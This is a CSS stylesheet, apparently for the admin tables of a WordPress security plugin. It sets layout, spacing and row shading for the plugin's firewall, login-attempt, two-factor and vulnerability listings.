.rsssl-404_blocking .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-user_agents .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-two_fa_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-permissions_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-hardening-xml .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child {
    min-width: 20px;
    float: right;
}

.rsssl-404_blocking .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,
.rsssl-404_blocking .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span, .rsssl-user_agents .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,
.rsssl-user_agents .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span, .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,
.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,
.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span, .rsssl-two_fa_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,
.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span, .rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,
.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span, .rsssl-permissions_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,
.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span, .rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,
.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span, .rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,
.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span, .rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,
.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span, .rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,
.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,
.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,
.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,
.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span, .rsssl-hardening-xml .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,
.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span {
    min-width: 20px;
    float: right;
}

.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCol, .rsssl-404_blocking .rsssl-field-wrap .rdt_TableCell, .rsssl-404_blocking .rsssl-field-wrap .rdt_TableCol_Sortable, .rsssl-user_agents .rsssl-field-wrap .rdt_TableCol, .rsssl-user_agents .rsssl-field-wrap .rdt_TableCell, .rsssl-user_agents .rsssl-field-wrap .rdt_TableCol_Sortable, .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCol, .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCell, .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCol_Sortable,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCol,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCell,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCol_Sortable, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCol, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCell, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCol_Sortable, .rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCol, .rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCell, .rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCol_Sortable,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCol,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCell,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCol_Sortable, .rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCol, .rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCell, .rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCol_Sortable, .rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCol, .rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCell, .rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCol_Sortable, .rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCol, .rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCell, .rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCol_Sortable,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCol,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCell,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCol_Sortable, .rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCol, .rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCell, .rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCol_Sortable, .rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCol, .rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCell, .rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCol_Sortable,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCol,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCell,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCol_Sortable, .rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCol, .rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCell, .rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCol_Sortable, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCol, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCell, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCol_Sortable,
.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCol,
.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCell,
.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCol_Sortable, .rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCol, .rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCell, .rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCol_Sortable {
    flex-direction: row;
}

.rsssl-404_blocking .rsssl-field-wrap #cell-2-force_update > div > select, .rsssl-user_agents .rsssl-field-wrap #cell-2-force_update > div > select, .rsssl-content_security_policy_source_directives .rsssl-field-wrap #cell-2-force_update > div > select,
.rsssl-firewall_block_list_listing .rsssl-field-wrap #cell-2-force_update > div > select, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap #cell-2-force_update > div > select, .rsssl-two_fa_users .rsssl-field-wrap #cell-2-force_update > div > select,
.rsssl-firewall_list_listing .rsssl-field-wrap #cell-2-force_update > div > select, .rsssl-vulnerabilities_overview .rsssl-field-wrap #cell-2-force_update > div > select, .rsssl-permissions_policy .rsssl-field-wrap #cell-2-force_update > div > select, .rsssl-firewall_white_list_listing .rsssl-field-wrap #cell-2-force_update > div > select,
.rsssl-firewall_logs_content .rsssl-field-wrap #cell-2-force_update > div > select, .rsssl-limit_login_attempts_country .rsssl-field-wrap #cell-2-force_update > div > select, .rsssl-limit_login_attempts_users .rsssl-field-wrap #cell-2-force_update > div > select,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap #cell-2-force_update > div > select, .rsssl-mixed-content-scan .rsssl-field-wrap #cell-2-force_update > div > select, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap #cell-2-force_update > div > select,
.rsssl-content_security_policy .rsssl-field-wrap #cell-2-force_update > div > select, .rsssl-hardening-xml .rsssl-field-wrap #cell-2-force_update > div > select {
    max-width: 100%;
}

.rsssl-404_blocking .rsssl-field-wrap #cell-2-quarantine > div > select, .rsssl-user_agents .rsssl-field-wrap #cell-2-quarantine > div > select, .rsssl-content_security_policy_source_directives .rsssl-field-wrap #cell-2-quarantine > div > select,
.rsssl-firewall_block_list_listing .rsssl-field-wrap #cell-2-quarantine > div > select, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap #cell-2-quarantine > div > select, .rsssl-two_fa_users .rsssl-field-wrap #cell-2-quarantine > div > select,
.rsssl-firewall_list_listing .rsssl-field-wrap #cell-2-quarantine > div > select, .rsssl-vulnerabilities_overview .rsssl-field-wrap #cell-2-quarantine > div > select, .rsssl-permissions_policy .rsssl-field-wrap #cell-2-quarantine > div > select, .rsssl-firewall_white_list_listing .rsssl-field-wrap #cell-2-quarantine > div > select,
.rsssl-firewall_logs_content .rsssl-field-wrap #cell-2-quarantine > div > select, .rsssl-limit_login_attempts_country .rsssl-field-wrap #cell-2-quarantine > div > select, .rsssl-limit_login_attempts_users .rsssl-field-wrap #cell-2-quarantine > div > select,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap #cell-2-quarantine > div > select, .rsssl-mixed-content-scan .rsssl-field-wrap #cell-2-quarantine > div > select, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap #cell-2-quarantine > div > select,
.rsssl-content_security_policy .rsssl-field-wrap #cell-2-quarantine > div > select, .rsssl-hardening-xml .rsssl-field-wrap #cell-2-quarantine > div > select {
    max-width: 100%;
}

.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCol:first-child, .rsssl-404_blocking .rsssl-field-wrap .rdt_TableCell:first-child, .rsssl-user_agents .rsssl-field-wrap .rdt_TableCol:first-child, .rsssl-user_agents .rsssl-field-wrap .rdt_TableCell:first-child, .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCol:first-child, .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCell:first-child,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCol:first-child,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCell:first-child, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCol:first-child, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCell:first-child, .rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCol:first-child, .rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCell:first-child,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCol:first-child,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCell:first-child, .rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCol:first-child, .rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCell:first-child, .rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCol:first-child, .rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCell:first-child, .rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCol:first-child, .rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCell:first-child,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCol:first-child,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCell:first-child, .rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCol:first-child, .rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCell:first-child, .rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCol:first-child, .rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCell:first-child,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCol:first-child,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCell:first-child, .rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCol:first-child, .rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCell:first-child, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCol:first-child, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCell:first-child,
.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCol:first-child,
.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCell:first-child, .rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCol:first-child, .rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCell:first-child {
    min-width: initial;
}

.rsssl-404_blocking .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child, .rsssl-user_agents .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child, .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child, .rsssl-two_fa_users .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child, .rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child, .rsssl-permissions_policy .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child, .rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child, .rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child, .rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child, .rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,
.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child, .rsssl-hardening-xml .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child {
    flex-grow: 0;
    flex-direction: row-reverse;
    min-width: initial;
}

.rsssl-404_blocking .rsssl-field-wrap .rdt_TableRow, .rsssl-user_agents .rsssl-field-wrap .rdt_TableRow, .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableRow,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableRow, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableRow, .rsssl-two_fa_users .rsssl-field-wrap .rdt_TableRow,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableRow, .rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableRow, .rsssl-permissions_policy .rsssl-field-wrap .rdt_TableRow, .rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableRow,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableRow, .rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableRow, .rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableRow,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableRow, .rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableRow, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableRow,
.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableRow, .rsssl-hardening-xml .rsssl-field-wrap .rdt_TableRow {
    padding: var(--rsp-spacing-xs) 0;
}

.rsssl-404_blocking .rsssl-field-wrap .rdt_TableRow:nth-child(odd), .rsssl-user_agents .rsssl-field-wrap .rdt_TableRow:nth-child(odd), .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableRow:nth-child(odd),
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableRow:nth-child(odd), .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableRow:nth-child(odd), .rsssl-two_fa_users .rsssl-field-wrap .rdt_TableRow:nth-child(odd),
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableRow:nth-child(odd), .rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableRow:nth-child(odd), .rsssl-permissions_policy .rsssl-field-wrap .rdt_TableRow:nth-child(odd), .rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableRow:nth-child(odd),
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableRow:nth-child(odd), .rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableRow:nth-child(odd), .rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableRow:nth-child(odd),
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableRow:nth-child(odd), .rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableRow:nth-child(odd), .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableRow:nth-child(odd),
.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableRow:nth-child(odd), .rsssl-hardening-xml .rsssl-field-wrap .rdt_TableRow:nth-child(odd) {
    background-color: var(--rsp-grey-200);
}

.rsssl-404_blocking .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-user_agents .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-two_fa_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-permissions_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,
.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child, .rsssl-hardening-xml .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child {
    flex-grow: 0;
}

.rsssl-404_blocking .rsssl-field-wrap .rsssl-csp-revoked > div:nth-child(-n+3), .rsssl-user_agents .rsssl-field-wrap .rsssl-csp-revoked > div:nth-child(-n+3), .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-csp-revoked > div:nth-child(-n+3),
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-csp-revoked > div:nth-child(-n+3), .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-csp-revoked > div:nth-child(-n+3), .rsssl-two_fa_users .rsssl-field-wrap .rsssl-csp-revoked > div:nth-child(-n+3),
.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-csp-revoked > div:nth-child(-n+3), .rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-csp-revoked > div:nth-child(-n+3), .rsssl-permissions_policy .rsssl-field-wrap .rsssl-csp-revoked > div:nth-child(-n+3), .rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-csp-revoked > div:nth-child(-n+3),
.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-csp-revoked > div:nth-child(-n+3), .rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-csp-revoked > div:nth-child(-n+3), .rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-csp-revoked > div:nth-child(-n+3),
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-csp-revoked > div:nth-child(-n+3), .rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-csp-revoked > div:nth-child(-n+3), .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-csp-revoked > div:nth-child(-n+3),
.rsssl-content_security_policy .rsssl-field-wrap .rsssl-csp-revoked > div:nth-child(-n+3), .rsssl-hardening-xml .rsssl-field-wrap .rsssl-csp-revoked > div:nth-child(-n+3) {
    opacity: 0.3;
}

.rsssl-content_security_policy .rdt_TableHeadRow .rdt_TableCol:last-child, .rsssl-permissions_policy .rdt_TableHeadRow .rdt_TableCol:last-child, .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child {
    flex-grow: 0;
    min-width: initial;
    justify-content: flex-end;
}

.rdt_TableRow .rdt_TableCell:last-child {
    flex-grow: 0;
    min-width: initial;
}

.rsssl-csp-revoked > div:nth-child(-n+3) {
    opacity: 0.3;
}

.rsssl-content_security_policy .rsssl-field-wrap > div > div, .rsssl-xml_rpc .rsssl-field-wrap > div > div {
    overflow-x: inherit;
    overflow-y: inherit;
}

.rsssl-mixed-content-datatable > div > div {
    display: flex;
}

.rsssl-vulnerabilities_measures .rdt_TableRow .rdt_TableCell:nth-child(3) {
    max-width: 50%;
}

.rsssl-vulnerabilities_measures .rsssl-field-wrap, .rsssl-404_blocking .rsssl-field-wrap, .rsssl-user_agents .rsssl-field-wrap, .rsssl-firewall_logs .rsssl-field-wrap, .rsssl-permissions_policy .rsssl-field-wrap, .rsssl-two_fa_users .rsssl-field-wrap,
.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap, .rsssl-content_security_policy_source_directives .rsssl-field-wrap,
.rsssl-firewall_white_list_listing .rsssl-field-wrap, .rsssl-firewall_block_list_listing .rsssl-field-wrap, .rsssl-firewall_list_listing .rsssl-field-wrap,
.rsssl-vulnerabilities_overview .rsssl-field-wrap, .rsssl-limit_login_attempts_country .rsssl-field-wrap, .rsssl-limit_login_attempts_users .rsssl-field-wrap,
.rsssl-firewall_event_log_viewer .rsssl-field-wrap, .rsssl-firewall_logs_content .rsssl-field-wrap, .rsssl-limit_login_attempts_event_log .rsssl-field-wrap,
.rsssl-mixed-content-scan .rsssl-field-wrap, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap, .rsssl-content_security_policy .rsssl-field-wrap, .rsssl-hardening-xml .rsssl-field-wrap {
    margin-left: calc(-1 * var(--rsp-spacing-l));
    margin-right: calc(-1 * var(--rsp-spacing-l));
}

@media (max-width: 1280px) {
    .rsssl-vulnerabilities_measures .rsssl-field-wrap, .rsssl-404_blocking .rsssl-field-wrap, .rsssl-user_agents .rsssl-field-wrap, .rsssl-firewall_logs .rsssl-field-wrap, .rsssl-permissions_policy .rsssl-field-wrap, .rsssl-two_fa_users .rsssl-field-wrap,
  .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap, .rsssl-content_security_policy_source_directives .rsssl-field-wrap,
  .rsssl-firewall_white_list_listing .rsssl-field-wrap, .rsssl-firewall_block_list_listing .rsssl-field-wrap, .rsssl-firewall_list_listing .rsssl-field-wrap,
  .rsssl-vulnerabilities_overview .rsssl-field-wrap, .rsssl-limit_login_attempts_country .rsssl-field-wrap, .rsssl-limit_login_attempts_users .rsssl-field-wrap,
  .rsssl-firewall_event_log_viewer .rsssl-field-wrap, .rsssl-firewall_logs_content .rsssl-field-wrap, .rsssl-limit_login_attempts_event_log .rsssl-field-wrap,
  .rsssl-mixed-content-scan .rsssl-field-wrap, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap, .rsssl-content_security_policy .rsssl-field-wrap, .rsssl-hardening-xml .rsssl-field-wrap {
        margin-left: calc(-1 * var(--rsp-spacing-m));
        margin-right: calc(-1 * var(--rsp-spacing-m));
    }
}

@media (max-width: 1080px) {
    .rsssl-vulnerabilities_measures .rsssl-field-wrap, .rsssl-404_blocking .rsssl-field-wrap, .rsssl-user_agents .rsssl-field-wrap, .rsssl-firewall_logs .rsssl-field-wrap, .rsssl-permissions_policy .rsssl-field-wrap, .rsssl-two_fa_users .rsssl-field-wrap,
  .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap, .rsssl-content_security_policy_source_directives .rsssl-field-wrap,
  .rsssl-firewall_white_list_listing .rsssl-field-wrap, .rsssl-firewall_block_list_listing .rsssl-field-wrap, .rsssl-firewall_list_listing .rsssl-field-wrap,
  .rsssl-vulnerabilities_overview .rsssl-field-wrap, .rsssl-limit_login_attempts_country .rsssl-field-wrap, .rsssl-limit_login_attempts_users .rsssl-field-wrap,
  .rsssl-firewall_event_log_viewer .rsssl-field-wrap, .rsssl-firewall_logs_content .rsssl-field-wrap, .rsssl-limit_login_attempts_event_log .rsssl-field-wrap,
  .rsssl-mixed-content-scan .rsssl-field-wrap, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap, .rsssl-content_security_policy .rsssl-field-wrap, .rsssl-hardening-xml .rsssl-field-wrap {
        margin-left: calc(-1 * var(--rsp-spacing-s));
        margin-right: calc(-1 * var(--rsp-spacing-s));
    }
}

.rsssl-vulnerabilities_measures .rsssl-field-wrap > .components-base-control, .rsssl-vulnerabilities_measures .rsssl-field-wrap .rsssl-comment,
.rsssl-vulnerabilities_measures .rsssl-field-wrap .rsssl-progress-container,
.rsssl-vulnerabilities_measures .rsssl-field-wrap > div > button,
.rsssl-vulnerabilities_measures .rsssl-field-wrap .rsssl-learning-mode-footer,
.rsssl-vulnerabilities_measures .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-vulnerabilities_measures .rsssl-field-wrap .rsssl-current-scan-action, .rsssl-404_blocking .rsssl-field-wrap > .components-base-control, .rsssl-404_blocking .rsssl-field-wrap .rsssl-comment,
.rsssl-404_blocking .rsssl-field-wrap .rsssl-progress-container,
.rsssl-404_blocking .rsssl-field-wrap > div > button,
.rsssl-404_blocking .rsssl-field-wrap .rsssl-learning-mode-footer,
.rsssl-404_blocking .rsssl-field-wrap .rsssl-mixed-content-description,
.rsssl-404_blocking .rsssl-field-wrap .rsssl-current-scan-action, .rsssl-user_agents .rsssl-field-wrap > .components-base-control, .rsssl-user_agents .rsssl-field-wrap .rsssl-comment,
.rsssl-user_agents .rsssl-field-wrap .rsssl-progress-container,
.rsssl-user_agents .rsssl-field-wrap > div > button,
.rsssl-user_agents .rsssl-field-wrap .rsssl-learning-mode-footer,
